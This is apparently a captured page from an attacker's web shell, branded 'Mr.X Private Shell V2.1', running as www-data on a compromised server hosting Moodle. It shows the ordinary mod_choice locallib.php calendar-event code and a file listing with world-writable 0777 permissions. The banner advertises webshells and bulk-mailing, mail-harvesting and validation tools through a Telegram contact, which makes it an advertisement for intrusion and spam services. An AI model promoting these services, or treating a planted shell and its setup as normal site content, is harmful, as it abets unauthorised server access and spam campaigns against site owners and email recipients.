__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
/**
 * Internal library of functions for choice module.
 *
 * All the choice specific functions, needed to implement the module
 * logic, should go here. Never include this file from your lib.php!
 *
 * @package   mod_choice
 * @copyright 2016 Stephen Bourget
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
defined('MOODLE_INTERNAL') || die();

/**
 * This creates new calendar events given as timeopen and timeclose by $choice.
 *
 * @param stdClass $choice
 * @return void
 */
function choice_set_events($choice) {
    global $DB, $CFG;

    require_once($CFG->dirroot.'/calendar/lib.php');

    // Get CMID if not sent as part of $choice.
    if (!isset($choice->coursemodule)) {
        $cm = get_coursemodule_from_instance('choice', $choice->id, $choice->course);
        $choice->coursemodule = $cm->id;
    }

    // Choice start calendar events.
    $event = new stdClass();
    $event->eventtype = CHOICE_EVENT_TYPE_OPEN;
    // The CHOICE_EVENT_TYPE_OPEN event should only be an action event if no close time is specified.
    $event->type = empty($choice->timeclose) ? CALENDAR_EVENT_TYPE_ACTION : CALENDAR_EVENT_TYPE_STANDARD;
    if ($event->id = $DB->get_field('event', 'id',
            array('modulename' => 'choice', 'instance' => $choice->id, 'eventtype' => $event->eventtype))) {
        if ((!empty($choice->timeopen)) && ($choice->timeopen > 0)) {
            // Calendar event exists so update it.
            $event->name         = get_string('calendarstart', 'choice', $choice->name);
            $event->description  = format_module_intro('choice', $choice, $choice->coursemodule, false);
            $event->format       = FORMAT_HTML;
            $event->timestart    = $choice->timeopen;
            $event->timesort     = $choice->timeopen;
            $event->visible      = instance_is_visible('choice', $choice);
            $event->timeduration = 0;
            $calendarevent = calendar_event::load($event->id);
            $calendarevent->update($event, false);
        } else {
            // Calendar event is on longer needed.
            $calendarevent = calendar_event::load($event->id);
            $calendarevent->delete();
        }
    } else {
        // Event doesn't exist so create one.
        if ((!empty($choice->timeopen)) && ($choice->timeopen > 0)) {
            $event->name         = get_string('calendarstart', 'choice', $choice->name);
            $event->description  = format_module_intro('choice', $choice, $choice->coursemodule, false);
            $event->format       = FORMAT_HTML;
            $event->courseid     = $choice->course;
            $event->groupid      = 0;
            $event->userid       = 0;
            $event->modulename   = 'choice';
            $event->instance     = $choice->id;
            $event->timestart    = $choice->timeopen;
            $event->timesort     = $choice->timeopen;
            $event->visible      = instance_is_visible('choice', $choice);
            $event->timeduration = 0;
            calendar_event::create($event, false);
        }
    }

    // Choice end calendar events.
    $event = new stdClass();
    $event->type = CALENDAR_EVENT_TYPE_ACTION;
    $event->eventtype = CHOICE_EVENT_TYPE_CLOSE;
    if ($event->id = $DB->get_field('event', 'id',
            array('modulename' => 'choice', 'instance' => $choice->id, 'eventtype' => $event->eventtype))) {
        if ((!empty($choice->timeclose)) && ($choice->timeclose > 0)) {
            // Calendar event exists so update it.
            $event->name         = get_string('calendarend', 'choice', $choice->name);
            $event->description  = format_module_intro('choice', $choice, $choice->coursemodule, false);
            $event->format       = FORMAT_HTML;
            $event->timestart    = $choice->timeclose;
            $event->timesort     = $choice->timeclose;
            $event->visible      = instance_is_visible('choice', $choice);
            $event->timeduration = 0;
            $calendarevent = calendar_event::load($event->id);
            $calendarevent->update($event, false);
        } else {
            // Calendar event is on longer needed.
            $calendarevent = calendar_event::load($event->id);
            $calendarevent->delete();
        }
    } else {
        // Event doesn't exist so create one.
        if ((!empty($choice->timeclose)) && ($choice->timeclose > 0)) {
            $event->name         = get_string('calendarend', 'choice', $choice->name);
            $event->description  = format_module_intro('choice', $choice, $choice->coursemodule, false);
            $event->format       = FORMAT_HTML;
            $event->courseid     = $choice->course;
            $event->groupid      = 0;
            $event->userid       = 0;
            $event->modulename   = 'choice';
            $event->instance     = $choice->id;
            $event->timestart    = $choice->timeclose;
            $event->timesort     = $choice->timeclose;
            $event->visible      = instance_is_visible('choice', $choice);
            $event->timeduration = 0;
            calendar_event::create($event, false);
        }
    }
}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
classes Folder 0777
db Folder 0777
lang Folder 0777
pix Folder 0777
tests Folder 0777
deprecatedlib.php File 1.12 KB 0777
index.php File 3.48 KB 0777
lib.php File 46.69 KB 0777
locallib.php File 5.72 KB 0777
mod_form.php File 7.75 KB 0777
renderer.php File 17.85 KB 0777
report.php File 12.69 KB 0777
upgrade.txt File 1.37 KB 0777
version.php File 1.17 KB 0777
view.php File 9.68 KB 0777
Filemanager